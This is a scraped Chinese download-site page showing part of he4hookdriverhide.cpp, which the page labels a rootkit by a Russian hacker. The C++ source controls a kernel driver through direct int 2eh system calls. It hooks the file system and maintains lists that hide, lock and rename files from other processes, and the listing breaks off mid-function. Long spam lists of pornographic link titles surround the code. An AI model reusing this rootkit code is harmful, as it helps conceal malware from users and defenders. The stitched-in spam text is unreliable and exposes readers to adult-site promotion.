亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來(lái)到蟲(chóng)蟲(chóng)下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲(chóng)蟲(chóng)下載站

?? he4hookdriverhide.cpp

?? 爾羅斯著名黑客寫(xiě)的rootkit
?? CPP
?? 第 1 頁(yè) / 共 2 頁(yè)
字號(hào):
#define STRICT
#include "He4hookDriverHide.hpp"

He4HookDriverHide::He4HookDriverHide(const TCHAR *lpszDeviceFileName)
                 : NtDriverControlHide(lpszDeviceFileName), pRtlNtStatusToDosError(NULL),
                   Result(FALSE)
{
  if (!NtDriverControlHide::Result)
    return;

  GetNtProcAddresses();

  Result = TRUE;
}

He4HookDriverHide::~He4HookDriverHide()
{
}

BOOL He4HookDriverHide::GetNtProcAddresses()
{
  if (pRtlNtStatusToDosError == NULL)
  {
    HMODULE hNtDll = GetModuleHandle("ntdll.dll");
    if (hNtDll != NULL)
    {
      pRtlNtStatusToDosError = (RTLNTSTATUSTODOSERROR)GetProcAddress(hNtDll, "RtlNtStatusToDosError");
      if (IsBadCodePtr((FARPROC)pRtlNtStatusToDosError))
        pRtlNtStatusToDosError = NULL;
    }
  }

  return (BOOL)pRtlNtStatusToDosError;
}

DWORD He4HookDriverHide::ZwDispatchFunction(DWORD dwProcessId, DWORD dwThreadId, DWORD IoControlCode,
                                            PVOID InputBuffer, DWORD InputBufferLength,
                                            PVOID OutputBuffer, DWORD OutputBufferLength, 
                                            DWORD *lpBytesReturned)
{
  void**   pParameterStack = (void**) &dwProcessId;
  DWORD    dwRet = -1;
  DWORD    dwSericeId = (KE_SERVICE_TABLE_INDEX<<12) + HE4_SERVICE_INDEX_DISPATCH_FUNCTION;

  __asm
  {
    mov  eax, [dwSericeId]     
    mov  edx, pParameterStack
    int  2eh
    mov  [dwRet], eax
  }

  return dwRet;
}

BOOL He4HookDriverHide::SendCommand(USER_COMMAND *lpUserCommand)
{
  if (IsBadReadPtr(lpUserCommand, sizeof(USER_COMMAND)))
    return FALSE;

  if (
      lpUserCommand->m_dwInBufferSize != 0 &&
      IsBadReadPtr(lpUserCommand->m_lpInBuffer, lpUserCommand->m_dwInBufferSize)
     )
    return FALSE;

  if (
      lpUserCommand->m_dwOutBufferSize != 0 &&
      IsBadWritePtr(lpUserCommand->m_lpOutBuffer, lpUserCommand->m_dwOutBufferSize)
     )
    return FALSE;

  __try
  {
    DWORD NtStatus = ZwDispatchFunction(0, 0,
                                        lpUserCommand->m_dwCommand,
                                        lpUserCommand->m_lpInBuffer, lpUserCommand->m_dwInBufferSize,
                                        lpUserCommand->m_lpOutBuffer, lpUserCommand->m_dwOutBufferSize,
                                        &lpUserCommand->m_dwBytesReturned);
    if (GetNtProcAddresses())
    {
      SetLastError(pRtlNtStatusToDosError(NtStatus));
    }
    if (NtStatus)
    {
      DriverErrorMessage();
      return FALSE;
    }
  }
  __except(EXCEPTION_EXECUTE_HANDLER)
  {
    _DebugMessage("BOOL He4HookDriverHide::SendCommand(USER_COMMAND *lpUserCommand)");
    return FALSE;
  }

  return TRUE;
}

DWORD He4HookDriverHide::GetVersion()
{
  USER_COMMAND UserCommand;
  DWORD        dwVer = 0;

  UserCommand.m_dwCommand = HE4_DEVICE_VERSION;
  UserCommand.m_lpOutBuffer = &dwVer;
  UserCommand.m_dwOutBufferSize = sizeof(DWORD);

  if (!SendCommand(&UserCommand)) 
    return 0;
  return dwVer;
}

DWORD He4HookDriverHide::HookFileSystem(DWORD dwHook)
{
  USER_COMMAND  UserCommand;
  DWORD         dwHookResult = 0x0;


  UserCommand.m_dwCommand = HE4_HOOK_FILE_SYSTEM;
  UserCommand.m_lpInBuffer = &dwHook;
  UserCommand.m_dwInBufferSize = sizeof(DWORD);
  UserCommand.m_lpOutBuffer = &dwHookResult;
  UserCommand.m_dwOutBufferSize = sizeof(DWORD);

  if (!SendCommand(&UserCommand))
    return (DWORD)-1;
  return dwHookResult;
}

BOOL He4HookDriverHide::LockSaveObjectsForAllThreads()
{
  USER_COMMAND       UserCommand;

  UserCommand.m_dwCommand = HE4_LOCK_SAVE_FILES_FOR_ALL_THREADS;

  if (!SendCommand(&UserCommand)) 
    return FALSE;
  return (BOOL) UserCommand.m_dwBytesReturned;
}

BOOL He4HookDriverHide::LockSaveObjects(DWORD dwClientId, BOOL bForProcess)
{
  USER_COMMAND       UserCommand;
  HE4_LOCK_SETTING   LockSetting;

  LockSetting.m_dwClientId = dwClientId;
  LockSetting.m_dwForProcess = (bForProcess == TRUE) ? 1 : 0;

  UserCommand.m_dwCommand = HE4_LOCK_SAVE_FILES;
  UserCommand.m_lpInBuffer = &LockSetting;
  UserCommand.m_dwInBufferSize = sizeof(HE4_LOCK_SETTING);
  UserCommand.m_lpOutBuffer = NULL;
  UserCommand.m_dwOutBufferSize = 0;
  UserCommand.m_dwBytesReturned = 0;
  if (!SendCommand(&UserCommand)) 
    return FALSE;
  return (BOOL) UserCommand.m_dwBytesReturned;
}

BOOL He4HookDriverHide::UnLockSaveObjects(DWORD dwUnlockFlags, DWORD dwClientId)
{
  USER_COMMAND         UserCommand;
  HE4_UNLOCK_SETTING   UnlockSetting;

  UnlockSetting.m_dwClientId = dwClientId;
  UnlockSetting.m_dwUnlockFlags = dwUnlockFlags;

  UserCommand.m_dwCommand = HE4_UNLOCK_SAVE_FILES;
  UserCommand.m_lpInBuffer = &UnlockSetting;
  UserCommand.m_dwInBufferSize = sizeof(HE4_UNLOCK_SETTING);
  UserCommand.m_lpOutBuffer = NULL;
  UserCommand.m_dwOutBufferSize = 0;
  UserCommand.m_dwBytesReturned = 0;
  if (!SendCommand(&UserCommand)) 
    return FALSE;
  return (BOOL) UserCommand.m_dwBytesReturned;
}

DWORD He4HookDriverHide::GetUnlockListSizeByBytes()
{
  USER_COMMAND UserCommand;
  DWORD        dwSize = 0;

  UserCommand.m_dwCommand = HE4_GET_SIZE_BY_BYTES_UNLOCK_LIST;
  UserCommand.m_lpOutBuffer = &dwSize;
  UserCommand.m_dwOutBufferSize = sizeof(DWORD);

  if (!SendCommand(&UserCommand))
    return 0;
  return dwSize;
}

BOOL He4HookDriverHide::GetUnlockList(PUNLOCK_CLIENT_INFO_SET pUnlockInfoSet)
{
  if (IsBadWritePtr(pUnlockInfoSet, SIZEOF_UNLOCK_CLIENT_INFO_SET) || IsBadReadPtr(pUnlockInfoSet, SIZEOF_UNLOCK_CLIENT_INFO_SET))
    return FALSE;

  USER_COMMAND UserCommand;

  UserCommand.m_dwCommand = HE4_GET_UNLOCK_LIST;
  UserCommand.m_lpOutBuffer = pUnlockInfoSet;
  UserCommand.m_dwOutBufferSize = pUnlockInfoSet->m_dwSize;
  UserCommand.m_dwBytesReturned = 0;
  if (SendCommand(&UserCommand)) 
  { 
    return (BOOL) UserCommand.m_dwBytesReturned;
  }

  return FALSE;
}

BOOL He4HookDriverHide::AddToSaveList(char* pszFileName, DWORD dwAccessType, char* pszChangedName)
{
  if (
      pszFileName == NULL ||
      ((dwAccessType & FILE_ACC_TYPE_EXCHANGE) && pszChangedName == NULL)
     )
    return FALSE;

  W32_FILEINFOSET  FileInfoSet;
  W32_FILEINFO     FileInfo;

  FileInfoSet.dwSize = 1;
  FileInfoSet.lpFileInfo = &FileInfo;

  FileInfo.lpszName = pszFileName;
  FileInfo.lpszChangedName = pszChangedName;
  FileInfo.dwAccessType = dwAccessType;

  return AddToSaveList(&FileInfoSet);
}

BOOL He4HookDriverHide::AddToSaveList(PW32_FILEINFOSET lpFileInfoSetW32)
{
  USER_COMMAND    UserCommand;
  BOOL            bRes = FALSE;

  AddShortName(lpFileInfoSetW32);

  PFILEINFOSET lpFileInfoSet = CreateFileInfoSet(lpFileInfoSetW32);
  if (lpFileInfoSet)
  {
    bRes = AddToSaveList(lpFileInfoSet);
    delete[] (char*)lpFileInfoSet;
  }
  
  return bRes;
}

BOOL He4HookDriverHide::AddToSaveList(PFILEINFOSET lpFileInfoSet)
{
  USER_COMMAND    UserCommand;

  if (lpFileInfoSet)
  {
    UserCommand.m_dwCommand = HE4_ADD_TO_SAVE_LIST;
    UserCommand.m_lpInBuffer = lpFileInfoSet;
    UserCommand.m_dwInBufferSize = lpFileInfoSet->dwSize;
    UserCommand.m_dwBytesReturned = 0;
    if (SendCommand(&UserCommand)) 
      return (BOOL) UserCommand.m_dwBytesReturned;
  }

  return FALSE;
}

BOOL He4HookDriverHide::DelFromSaveList(char* pszFileName)
{
  if (pszFileName == NULL)
    return FALSE;

  W32_FILEINFOSET  FileInfoSet;
  W32_FILEINFO     FileInfo;

  FileInfoSet.dwSize = 1;
  FileInfoSet.lpFileInfo = &FileInfo;

  FileInfo.lpszName = pszFileName;

  return DelFromSaveList(&FileInfoSet);
}


BOOL He4HookDriverHide::DelFromSaveList(PW32_FILEINFOSET lpFileInfoSetW32)
{
  USER_COMMAND    UserCommand;

  UnLockSaveObjects();
  DelShortName(lpFileInfoSetW32);
  LockSaveObjects();

  PFILEINFOSET lpFileInfoSet = CreateFileInfoSet(lpFileInfoSetW32);

  if (lpFileInfoSet)
  {
    UserCommand.m_dwCommand = HE4_DEL_FROM_SAVE_LIST;
    UserCommand.m_lpInBuffer = lpFileInfoSet;
    UserCommand.m_dwInBufferSize = lpFileInfoSet->dwSize;
    UserCommand.m_dwBytesReturned = 0;
    if (SendCommand(&UserCommand)) 
    { 
      delete[] (char*)lpFileInfoSet;
      return (BOOL) UserCommand.m_dwBytesReturned;
    }
    delete[] (char*)lpFileInfoSet;
  }
  return FALSE;
}

BOOL He4HookDriverHide::ClearSaveList()
{
  USER_COMMAND    UserCommand;

  UserCommand.m_dwCommand = HE4_CLEAR_SAVE_LIST;
  UserCommand.m_dwBytesReturned = 0;
  SendCommand(&UserCommand);

  return (BOOL) UserCommand.m_dwBytesReturned;
}

DWORD He4HookDriverHide::GetSaveListSizeByBytes()
{
  USER_COMMAND UserCommand;
  DWORD        dwSize = 0;

  UserCommand.m_dwCommand = HE4_GET_SIZE_BY_BYTES_SAVE_LIST;
  UserCommand.m_lpOutBuffer = &dwSize;
  UserCommand.m_dwOutBufferSize = sizeof(DWORD);

  if (!SendCommand(&UserCommand))
    return 0;
  return dwSize;
}

BOOL He4HookDriverHide::GetSaveList(PFILEINFOSET pFileInfoSet)
{
  if (IsBadWritePtr(pFileInfoSet, SIZEOF_FILEINFOSET) || IsBadReadPtr(pFileInfoSet, SIZEOF_FILEINFOSET))
    return FALSE;

  USER_COMMAND UserCommand;

  UserCommand.m_dwCommand = HE4_GET_SAVE_LIST;
  UserCommand.m_lpOutBuffer = pFileInfoSet;
  UserCommand.m_dwOutBufferSize = pFileInfoSet->dwSize;
  UserCommand.m_dwBytesReturned = 0;
  if (SendCommand(&UserCommand)) 
  { 
    return (BOOL) UserCommand.m_dwBytesReturned;
  }

  return FALSE;
}

BOOL He4HookDriverHide::QueryStatistic(PHE4_STATISTIC_INFO pStatInfo)
{
  USER_COMMAND         UserCommand;

  UserCommand.m_dwCommand = HE4_QUERY_STATISTIC;
  UserCommand.m_lpInBuffer = NULL;
  UserCommand.m_dwInBufferSize = 0;
  UserCommand.m_lpOutBuffer = pStatInfo;
  UserCommand.m_dwOutBufferSize = sizeof(HE4_STATISTIC_INFO);
  UserCommand.m_dwBytesReturned = 0;
  if (!SendCommand(&UserCommand)) 
    return FALSE;
  return (BOOL) UserCommand.m_dwBytesReturned;
}

DWORD He4HookDriverHide::QueryUnload()
{
  USER_COMMAND    UserCommand;

  UserCommand.m_dwCommand = HE4_QUERY_UNLOAD;
  UserCommand.m_lpInBuffer = NULL;
  UserCommand.m_dwInBufferSize = 0;
  UserCommand.m_dwBytesReturned = 0;
  if (!SendCommand(&UserCommand)) 
    return (DWORD)-1;

?? 快捷鍵說(shuō)明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號(hào) Ctrl + =
減小字號(hào) Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
国产一区二区美女| 国产福利视频一区二区三区| 日韩三级高清在线| 国产成人亚洲精品青草天美| 亚洲国产三级在线| 国产精品私人影院| 欧美一区二区三区四区五区| 91麻豆国产精品久久| 精品无码三级在线观看视频| 亚洲一区二区三区四区的| 国产精品美女久久久久久久久久久| 51精品秘密在线观看| 99久久免费国产| 黄色小说综合网站| 丝袜美腿亚洲综合| 亚洲精品v日韩精品| 中文字幕av在线一区二区三区| 91精品国产欧美日韩| 色综合网色综合| 国产91精品入口| 国产精品一区二区三区乱码| 日本亚洲欧美天堂免费| 亚洲一区在线观看视频| 亚洲欧美一区二区三区国产精品| 久久免费视频色| 日韩精品专区在线影院观看| 欧美女孩性生活视频| 欧美日韩高清一区| 欧美图片一区二区三区| 91高清在线观看| 91蝌蚪国产九色| 成人污污视频在线观看| 国产一区二区不卡| 麻豆精品久久久| 男男视频亚洲欧美| 日韩和的一区二区| 午夜精品免费在线观看| 亚洲高清在线精品| 一区二区三区视频在线观看| 亚洲桃色在线一区| 一区二区三区四区视频精品免费 | 欧美人体做爰大胆视频| 在线免费观看一区| 91精品办公室少妇高潮对白| 一本到一区二区三区| 色香色香欲天天天影视综合网| 97se亚洲国产综合自在线观| 91女人视频在线观看| 91久久精品一区二区三| 在线观看国产精品网站| 欧美色图激情小说| 欧美一级国产精品| 久久精品网站免费观看| 国产精品午夜久久| 亚洲欧美激情插| 亚洲电影一区二区三区| 日av在线不卡| 国产成人在线观看| 91在线视频免费观看| 欧美日韩中文国产| 日韩一区二区精品葵司在线| 欧美精品一区二区三区蜜桃视频| 欧美国产日韩a欧美在线观看| 亚洲日本护士毛茸茸| 亚洲高清中文字幕| 国产乱人伦精品一区二区在线观看 | 色天天综合久久久久综合片| 欧美色图片你懂的| 精品sm捆绑视频| 国产精品区一区二区三区| 亚洲精品乱码久久久久久久久 | 午夜精品久久久久久久久久| 美腿丝袜亚洲综合| 高清不卡在线观看av| 欧美视频一区二区三区| 日韩欧美电影一二三| 国产精品另类一区| 日韩中文字幕不卡| 国产不卡在线一区| 欧美在线小视频| 精品欧美乱码久久久久久1区2区| 亚洲视频小说图片| 青青草成人在线观看| 99re免费视频精品全部| 欧美一区二区视频在线观看2020| 国产日产欧美一区二区三区| 亚洲永久免费视频| 成人听书哪个软件好| 在线电影国产精品| 中文字幕一区不卡| 久久成人久久爱| 欧美亚洲综合一区| 国产精品美女久久久久久久 | 国产精品大尺度| 蜜桃视频免费观看一区| 色婷婷精品久久二区二区蜜臂av | 精品国产乱码久久久久久久| 亚洲精品日韩一| 国产精品 欧美精品| 欧美网站大全在线观看| 国产精品伦一区二区三级视频| 午夜私人影院久久久久| www.视频一区| 欧美精品一区二区蜜臀亚洲| 亚洲国产欧美另类丝袜| 成人午夜看片网址| 久久亚洲一区二区三区四区| 五月天丁香久久| 99精品久久久久久| 国产欧美日韩综合| 精品亚洲免费视频| 欧美电影影音先锋| 亚洲成人一二三| 91免费看片在线观看| 欧美韩国一区二区| 国内精品写真在线观看| 欧美一区二区精品久久911| 亚洲综合色自拍一区| 99久久精品国产一区| 亚洲国产电影在线观看| 精彩视频一区二区三区| 欧美第一区第二区| 日本sm残虐另类| 91精品国产欧美一区二区| 天天操天天干天天综合网| 欧美日本高清视频在线观看| 亚洲一区二区视频在线观看| 一本到三区不卡视频| 亚洲人成伊人成综合网小说| 成人毛片老司机大片| 中文字幕不卡在线观看| 成人免费看的视频| 国产精品日产欧美久久久久| 不卡的av电影在线观看| 中文字幕一区二区三区四区不卡| 成人国产在线观看| 国产精品第13页| 95精品视频在线| 亚洲人快播电影网| 欧美性受xxxx黑人xyx| 亚洲综合色网站| 欧美日韩精品一区视频| 日韩电影在线观看电影| 日韩欧美成人激情| 精东粉嫩av免费一区二区三区| 久久尤物电影视频在线观看| 国产99久久久久| 亚洲免费视频中文字幕| 欧美性猛交xxxxxx富婆| 亚洲国产精品久久人人爱蜜臀| 欧美丰满一区二区免费视频| 久久国产精品99精品国产| 久久影院午夜片一区| 成人福利视频网站| 亚洲蜜臀av乱码久久精品蜜桃| 欧美亚洲国产怡红院影院| 蜜臀久久99精品久久久久久9| 精品国产制服丝袜高跟| 成人国产精品免费| 亚洲一区二区三区视频在线| 91麻豆精品国产91久久久久久久久 | 欧美一区二区三区男人的天堂| 日韩电影在线观看网站| 久久久久久免费毛片精品| 成人精品视频一区| 亚洲国产毛片aaaaa无费看| 欧美一区二区三区喷汁尤物| 国产激情一区二区三区四区 | 国产精品拍天天在线| 色狠狠一区二区| 久久精品国产99| 国产精品美女久久久久av爽李琼| 色婷婷综合久久久中文字幕| 免费不卡在线观看| 国产精品国产精品国产专区不蜜 | 欧美撒尿777hd撒尿| 玖玖九九国产精品| 国产精品乱码人人做人人爱| 欧美精选午夜久久久乱码6080| 国产成人精品综合在线观看| 亚洲一级片在线观看| 久久久久国产精品人| 欧美午夜视频网站| 国产成人欧美日韩在线电影| 亚洲成人av一区二区| 欧美激情艳妇裸体舞| 欧美一级精品在线| 色综合欧美在线视频区| 激情综合网av| 亚洲综合一区二区| 欧美激情资源网| 欧美高清性hdvideosex| 99re在线精品| 国产精品一区二区久久不卡| 婷婷综合五月天| 一区二区三区中文在线| 中文无字幕一区二区三区| 日韩免费电影一区| 欧美亚洲图片小说| 99re热这里只有精品视频|